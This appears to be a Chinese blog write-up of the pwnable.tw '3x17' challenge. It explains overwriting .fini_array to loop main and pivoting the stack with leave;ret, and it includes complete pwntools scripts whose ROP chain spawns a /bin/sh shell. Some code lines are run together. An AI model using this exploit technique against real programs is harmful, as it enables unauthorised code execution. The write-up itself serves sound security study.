3x17

文章主要是参考了https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/

首先我们检查一下开启的保护



运行一下,先让输入addr后输入data,感觉像是任意地址写,但是没有没有地址泄漏的功能。

放入IDA分析,程序是个静态链接的ELF,因为去除了符号表,所以什么符号都没有,如果用IDA分析还需要先找到main函数。

这里有两种办法:

  1. _start函数中,__libc_start_main(main,argc,argv&env,init,fini,rtld_fini),当调用__libc_start_main时,rdi中的参数即为main函数的地址。

  2. 通过打印的字符串交叉引用找到main函数

这里引用一下大佬的图



我们照着把函数名改过来



首先进入main函数分析一下



main函数开启了Cannary保护,可见工具又是也不一定管用。

main函数中有个变量byte_4B9330,位于bss段,初值为0,运行main函数时会自增1,只有当这个变量为1时才能写。

中间sub__40EE70这个函数很复杂,我们用gdb分析一下,发现它把我们输入的地址的字符串转换成了地址值。也就是strtol()这个函数。strtol函数会将参数nptr字符串根据参数base来转换成长整型数。



这里我们发现0x457就是1111的十六进制,即我们输入的地址就是要写的地址的十进制形式,但是我们目前只有一次机会,仅能写0x18个字节,然而我们不知道栈的地址,也无法覆盖ret的地址,无法劫持RIP。

main函数的启动过程

还记的 __libc_start_main的几个参数里有两个东西么(__libc_csu_init,__libc_csu_fini),这俩是干啥的呢?

.text:0000000000401A5F                 mov     r8, offset__libc_csu_fini
.text:0000000000401A66 mov rcx, __libc_csu_init

csu是啥意思?即 “C start up”

顾名思义,一个是init,开始时函数。一个是fini,结束时的函数。所以可见main函数的地位并没有我们刚接触c语言是那么至高无上,他既不是程序执行时的第一个函数,也不是最后一个函数。

另外在IDA的 segments可以看到如下四个段:



可看到.init和.fini是可执行的段。而.init_array和.fini_array数组,是可读可写的段,里面存着函数的地址。init为__libc_csu_init函数指针,fini为__libc_csu_fini函数指针。

可知:

__libc_csu_init执行.init和.init_array

__libc_csu_fini执行.fini和.fini_array

那启动流程到底是啥样的呢?

  • __libc_csu_init
  • main
  • __libc_csu_fini

更细致的说顺序如下:

  • .init
  • .init_array[0]
  • .init_array[1]
  • .init_array[n]
  • main
  • .fini_array[n]
  • .fini_array[1]
  • .fini_array[0]
  • .fini

首先分析一下__libc_csu_fini这个函数

__libc_csu_fini (void)
{
#ifndef LIBC_NONSHARED
size_t i = __fini_array_end - __fini_array_start;
while (i-- > 0)
(*__fini_array_start [i]) (); # ifndef NO_INITFINI
_fini ();
# endif
#endif
}

如下图,我们知道了size_t i = __fini_array_end - __fini_array_start; 其中i是为2,也就是说fini_array数组中有2个值。

覆写.fini_array

main -> __libc_csu_fini  -> .fini_array[1] ->.fini_array[0]

如果我们把fini_array[1]覆盖成任意代码的地址,不就是成功劫持RIP了么!那么好,劫持到哪?如果有后门函数就好了!查一下没有。

我们只能先将其覆盖成下图这样,然后自己构造ROP



这可以样就可以一直循环调用main函数啦!但好像看起来还是无法写多次啊,因为byte_4B9330这个全局变量一直在自增啊,永远比1大呀。观察一下这个变量:

(unsigned __int8)++byte_4B9330

这是8bit的整型,从byte_4B9330这个变量名也能看出来(byte),范围是0-255,所以当我们按照如上的方法改写.fini_array段,这个变量会疯狂加一,自增一会就溢出了,然后又会回到1,然后就会停到read系统调用等待写入,就又可以写了。

from pwn import *
context(arch="amd64",os='linux',log_level='debug')
p = process("./3x17") fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960 def write(addr,data):
p.sendafter('addr:',str(addr))
p.sendafter('data:',data) write(fini_array,p64(libc_csu_fini)+p64(main_addr))
p.interactive()

可以看到跟我们想的一样

栈迁移

我们从:一次 任意地址 写 0x18 个字节

变成了:多次 任意地址 写 0x18 个字节

并且在这个过程中我们已经控制了RIP,但是没有直接的代码或者函数可以用,所以要不是就是自己写shellcode蹦过去,要不就是ROP。但是程序中没有可写可执行的代码段,我也不知道栈的位置,虽然我能任意地址写,但我也就没有办法布置栈的内容,也就没有办法实现ROP。但是,我们是控制了RIP的,我们可以把栈迁移到我们知道的地方,只要再此之前布置好那个位置,然后只要程序返回,我们就可以成功的ROP啦!

回到__libc_csu_fini函数,也就是题目中的sub_402960函数

可见在这个函数中rbp之前的值暂时被放到栈里了,然后将rbp赋值为0x4b40f0也就是fini_array,然后就去调用了fini_array的函数,fini_array的值我们是可以控制的,这样我们可以劫持RIP到任何地方。



leave指令就相当于:

mov rsp,rbp
pop rbp

我们可以利用leave函数实现栈迁移,前提是我们可以控制rbp的值,而上面说了rbp赋值为0x4b40f0,我们就可以利用这一点。为了不破环程序循环,我们可以将ROP写到0x4b40f0+0x8*2 也就是0x4b4100的地方。

fini_array[0]执行leave_ret后我们会ret [0x4b40f8]也就是去执行fini_array[1]而我们的ROP在0x4b4010处,所以我们可以覆盖ret,nop等都可以,使程序去执行0x4b4010处的指令

mov rsp,rbp    ;rsp=rbp=0x4B40F0
pop rbp ;rsp=0x4B40F8 rbp=?
ret ;rip=[0x4b40f8] ,rsp=0x4b4100

测试一下

#coding:utf-8
from pwn import *
context(arch="amd64",os='linux',log_level='debug')
p = process('./3x17') pop_rax_ret = 0x41e4af fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B esp = 0x4B4100
ret = 0x401016 def write(addr,data):
p.sendafter('addr:',str(addr))
p.sendafter('data:',data) #使程序循环跑起来 fini_array[0] fini_array[1]
write(fini_array,p64(libc_csu_fini)+p64(main_addr))
#ROP
write(esp,p64(pop_rax_ret)) gdb.attach(p,"b *0x401C4B")
#结束程序循环,进入ROP
write(fini_array,p64(leave_ret)+p64(ret)) p.interactive()

我们补上ROP再来细细分析。

执行write(fini_array,p64(leave_ret)+p64(ret))之前,也就是还未退出main函数,我们已经成功将fini_array[0]修改成了leave_ret,将fini_array[1]修改成了ret。为了直观我们在来看看这个图。





此时我们main函数退出后,应该回去执行fini_array[0],也就是去执行leave_ret。



我们将RIP劫持到fini_array[0]的leave_ret后



之后就会去ret到我们的ROP了。

解题脚本

#coding:utf-8
from pwn import *
context(arch="amd64",os='linux',log_level='debug')
p = process('./3x17') syscall_ret = 0x471db5
pop_rax_ret = 0x41e4af
pop_rdx_ret = 0x446e35
pop_rsi_ret = 0x406c30
pop_rdi_ret = 0x401696 bin_sh_addr = 0x4B9500 fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B esp = 0x4B4100
ret = 0x401016 def write(addr,data):
p.sendafter('addr:',str(addr))
p.sendafter('data:',data) #使程序循环跑起来 fini_array[0] fini_array[1]
write(fini_array,p64(libc_csu_fini)+p64(main_addr))
#在一个可读可写的地方写入/bin/sh
write(bin_sh_addr,"/bin/sh\x00") #syscall('/bin/sh\x00',0,0)
write(esp,p64(pop_rax_ret))
write(esp+8,p64(0x3b))
write(esp+16,p64(pop_rdi_ret))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rsi_ret))
write(esp+40,p64(0))
write(esp+48,p64(pop_rdx_ret))
write(esp+56,p64(0))
write(esp+64,p64(syscall_ret))
#gdb.attach(p,"b *0x401C4B")
#结束程序循环,进入ROP
write(fini_array,p64(leave_ret)+p64(ret)) p.interactive()

pwnable.tw 3x17的更多相关文章

  1. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  2. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  3. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  4. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  5. pwnable.tw calc

    题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...

  6. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  7. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  8. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  9. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

随机推荐

  1. Error Code: 1452 Cannot add or update a child row: a foreign key constraint fails

    错误: Error Code: 1452 Cannot add or update a child row: a foreign key constraint fails 错误产生情景:我向一张带外键 ...

  2. 5分钟入门websocket

    5 个步骤快速掌握消息发送和接收 获取您的 appkey 先注册一个irealtime账号,然后登录到后台管理端,创建一个免费应用,就能得到您的 appkey.点击注册 各种前端生态端集成 ireal ...

  3. django学习-21.优化表数据的标题展示

    目录结构 1.前言 2.表数据的标题默认展示的数据格式是[模型类名 object(主键名)]的相关信息 3.优化表数据的标题展示的数据格式是[改成我们想要展示的数据格式]的相关完整操作步骤 3.1.第 ...

  4. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  5. Nginx之Location匹配规则

    概述 经过多年发展,nginx凭借其优异的性能征服了互联网界,成为了各个互联网公司架构设计中不可获取的要素.Nginx是一门大学问,但是对于Web开发者来说,最重要的是需要能捋的清楚Nginx的请求路 ...

  6. 自关联映射:一个表自己关联自己,此时从同一个表中查询,通过起别名将一张表变成两张表,使用join语句。

    实例1:id自关联. 隐式内连接: 实例二:编写一个 SQL 查询,来查找与之前(昨天的)日期相比温度更高的所有日期的 id .返回结果 不要求顺序 . 查询结果格式如下例: Weather +--- ...

  7. Django练习遇到的错误记录

    _reverse_with_prefix() argument after ** must be a mapping, not set 错误代码: def get_absolute_url(self) ...

  8. vue3使用路由

    下载 npm install vue-router@4 配置路由 暴露出一个createRouter方法,用来创建路由对象 通过defineAsyncComponent方法来实现路由的懒加载(文章1. ...

  9. [UNP] TCP 多进程服务器

    UNP Part-2: Chapter 5. TCP Client/Server Example 的读书笔记. 阅读本文前,建议先阅读多线程服务器的实现,熟悉常见的 TCP 网络通信 API 的基本使 ...

  10. 剑指 Offer 31. 栈的压入、弹出序列 + 入栈顺序和出栈顺序的匹配问题

    剑指 Offer 31. 栈的压入.弹出序列 Offer_31 题目详情: 解析: 这里需要使用一个栈来模仿入栈操作. package com.walegarrett.offer; /** * @Au ...